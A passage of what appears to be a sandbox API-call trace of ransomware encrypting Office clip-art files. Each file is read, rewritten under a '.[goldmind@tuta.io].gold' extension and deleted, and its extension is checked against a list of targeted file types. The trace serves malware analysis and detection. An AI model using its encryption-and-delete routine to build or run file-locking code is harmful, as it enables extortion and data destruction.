(lpString="J0105338.WMF") returned 12 [0105.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0105.117] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=11584) returned 1 [0105.117] CloseHandle (hObject=0x394) returned 1 [0105.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf")) returned 0x20 [0105.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0105.118] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.118] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0105.119] GetLastError () returned 0x0 [0105.119] ReadFile (in: hFile=0x394, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x2d40, lpOverlapped=0x0) returned 1 [0105.120] WriteFile (in: hFile=0x180, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x2d50, lpOverlapped=0x0) returned 1 [0105.121] ReadFile (in: hFile=0x394, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.121] WriteFile (in: hFile=0x180, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0105.121] SetEndOfFile (hFile=0x180) returned 1 [0105.121] CloseHandle (hObject=0x180) returned 1 [0105.121] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.122] SetEndOfFile (hFile=0x394) returned 1 [0105.123] CloseHandle (hObject=0x394) returned 1 [0105.123] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.124] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf")) returned 1 [0105.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0105.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0105.124] lstrlenW (lpString=".doc") returned 4 [0105.124] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.124] lstrlenW (lpString=".docx") returned 5 [0105.124] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0105.124] lstrlenW (lpString=".pdf") returned 4 [0105.124] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.124] lstrlenW (lpString=".xls") returned 4 [0105.124] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.124] lstrlenW (lpString=".xlsx") returned 5 [0105.124] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0105.124] lstrlenW (lpString=".ppt") returned 4 [0105.124] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0105.124] lstrlenW (lpString=".zip") returned 4 [0105.125] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.125] lstrlenW (lpString=".rar") returned 4 [0105.125] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.125] lstrlenW (lpString=".bz2") returned 4 [0105.125] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.125] lstrlenW (lpString=".7z") returned 3 [0105.125] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0105.125] lstrlenW (lpString=".dbf") returned 4 [0105.125] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0105.125] lstrlenW (lpString=".1cd") returned 4 [0105.125] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0105.125] lstrlenW (lpString=".jpg") returned 4 [0105.125] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0105.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0105.125] lstrlenW (lpString=".doc") returned 4 [0105.125] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.125] lstrlenW (lpString=".docx") returned 5 [0105.125] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0105.125] lstrlenW (lpString=".pdf") returned 4 [0105.125] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.125] lstrlenW (lpString=".xls") returned 4 [0105.125] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.125] lstrlenW (lpString=".xlsx") returned 5 [0105.125] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0105.125] lstrlenW (lpString=".ppt") returned 4 [0105.125] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0105.125] lstrlenW (lpString=".zip") returned 4 [0105.125] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.125] lstrlenW (lpString=".rar") returned 4 [0105.125] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.125] lstrlenW (lpString=".bz2") returned 4 [0105.125] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.125] lstrlenW (lpString=".7z") returned 3 [0105.125] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0105.125] lstrlenW (lpString=".dbf") returned 4 [0105.125] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0105.125] lstrlenW (lpString=".1cd") returned 4 [0105.125] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned 63 [0105.125] lstrlenW (lpString=".jpg") returned 4 [0105.125] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.125] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0105.126] lstrlenW (lpString="J0105348.WMF") returned 12 [0105.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0105.126] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=17060) returned 1 [0105.126] CloseHandle (hObject=0x394) returned 1 [0105.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf")) returned 0x20 [0105.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0105.126] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.127] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0105.127] GetLastError () returned 0x0 [0105.127] ReadFile (in: hFile=0x394, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x42a4, lpOverlapped=0x0) returned 1 [0105.129] WriteFile (in: hFile=0x180, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x42b0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x42b0, lpOverlapped=0x0) returned 1 [0105.129] ReadFile (in: hFile=0x394, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.129] WriteFile (in: hFile=0x180, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0105.130] SetEndOfFile (hFile=0x180) returned 1 [0105.130] CloseHandle (hObject=0x180) returned 1 [0105.130] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.130] SetEndOfFile (hFile=0x394) returned 1 [0105.131] CloseHandle (hObject=0x394) returned 1 [0105.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.132] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105348.wmf")) returned 1 [0105.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0105.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0105.132] lstrlenW (lpString=".doc") returned 4 [0105.132] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.132] lstrlenW (lpString=".docx") returned 5 [0105.132] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0105.132] lstrlenW (lpString=".pdf") returned 4 [0105.132] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.132] lstrlenW (lpString=".xls") returned 4 [0105.132] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.132] lstrlenW (lpString=".xlsx") returned 5 [0105.132] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0105.132] lstrlenW (lpString=".ppt") returned 4 [0105.133] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0105.133] lstrlenW (lpString=".zip") returned 4 [0105.133] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.133] lstrlenW (lpString=".rar") returned 4 [0105.133] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.133] lstrlenW (lpString=".bz2") returned 4 [0105.133] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.133] lstrlenW (lpString=".7z") returned 3 [0105.133] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0105.133] lstrlenW (lpString=".dbf") returned 4 [0105.133] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0105.133] lstrlenW (lpString=".1cd") returned 4 [0105.133] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0105.133] lstrlenW (lpString=".jpg") returned 4 [0105.133] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0105.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0105.133] lstrlenW (lpString=".doc") returned 4 [0105.133] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.133] lstrlenW (lpString=".docx") returned 5 [0105.133] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0105.133] lstrlenW (lpString=".pdf") returned 4 [0105.133] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.133] lstrlenW (lpString=".xls") returned 4 [0105.133] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.133] lstrlenW (lpString=".xlsx") returned 5 [0105.133] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0105.133] lstrlenW (lpString=".ppt") returned 4 [0105.133] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0105.133] lstrlenW (lpString=".zip") returned 4 [0105.133] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.133] lstrlenW (lpString=".rar") returned 4 [0105.133] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.133] lstrlenW (lpString=".bz2") returned 4 [0105.133] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.133] lstrlenW (lpString=".7z") returned 3 [0105.133] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0105.133] lstrlenW (lpString=".dbf") returned 4 [0105.133] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0105.133] lstrlenW (lpString=".1cd") returned 4 [0105.133] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105348.WMF") returned 63 [0105.133] lstrlenW (lpString=".jpg") returned 4 [0105.133] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.134] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0105.134] lstrlenW (lpString="J0105360.WMF") returned 12 [0105.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0105.135] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=8860) returned 1 [0105.135] CloseHandle (hObject=0x394) returned 1 [0105.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf")) returned 0x20 [0105.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0105.135] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.135] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0105.136] GetLastError () returned 0x0 [0105.136] ReadFile (in: hFile=0x394, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x229c, lpOverlapped=0x0) returned 1 [0105.137] WriteFile (in: hFile=0x180, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x22a0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x22a0, lpOverlapped=0x0) returned 1 [0105.138] ReadFile (in: hFile=0x394, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.138] WriteFile (in: hFile=0x180, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0105.138] SetEndOfFile (hFile=0x180) returned 1 [0105.138] CloseHandle (hObject=0x180) returned 1 [0105.138] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.138] SetEndOfFile (hFile=0x394) returned 1 [0105.140] CloseHandle (hObject=0x394) returned 1 [0105.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.140] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105360.wmf")) returned 1 [0105.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0105.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0105.141] lstrlenW (lpString=".doc") returned 4 [0105.141] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.141] lstrlenW (lpString=".docx") returned 5 [0105.141] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0105.141] lstrlenW (lpString=".pdf") returned 4 [0105.141] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.141] lstrlenW (lpString=".xls") returned 4 [0105.141] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.141] lstrlenW (lpString=".xlsx") returned 5 [0105.141] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0105.141] lstrlenW (lpString=".ppt") returned 4 [0105.141] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0105.141] lstrlenW (lpString=".zip") returned 4 [0105.141] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.141] lstrlenW (lpString=".rar") returned 4 [0105.141] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.141] lstrlenW (lpString=".bz2") returned 4 [0105.141] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.141] lstrlenW (lpString=".7z") returned 3 [0105.141] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0105.141] lstrlenW (lpString=".dbf") returned 4 [0105.141] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0105.141] lstrlenW (lpString=".1cd") returned 4 [0105.141] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0105.141] lstrlenW (lpString=".jpg") returned 4 [0105.141] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0105.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0105.141] lstrlenW (lpString=".doc") returned 4 [0105.141] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.141] lstrlenW (lpString=".docx") returned 5 [0105.141] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0105.141] lstrlenW (lpString=".pdf") returned 4 [0105.141] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.141] lstrlenW (lpString=".xls") returned 4 [0105.141] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.141] lstrlenW (lpString=".xlsx") returned 5 [0105.141] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0105.141] lstrlenW (lpString=".ppt") returned 4 [0105.141] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0105.142] lstrlenW (lpString=".zip") returned 4 [0105.142] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.142] lstrlenW (lpString=".rar") returned 4 [0105.142] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.142] lstrlenW (lpString=".bz2") returned 4 [0105.142] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.142] lstrlenW (lpString=".7z") returned 3 [0105.142] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0105.142] lstrlenW (lpString=".dbf") returned 4 [0105.142] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0105.142] lstrlenW (lpString=".1cd") returned 4 [0105.142] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105360.WMF") returned 63 [0105.142] lstrlenW (lpString=".jpg") returned 4 [0105.142] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.142] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0105.142] lstrlenW (lpString="J0105368.WMF") returned 12 [0105.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0105.143] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=12380) returned 1 [0105.143] CloseHandle (hObject=0x394) returned 1 [0105.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105368.wmf")) returned 0x20 [0105.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105368.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft 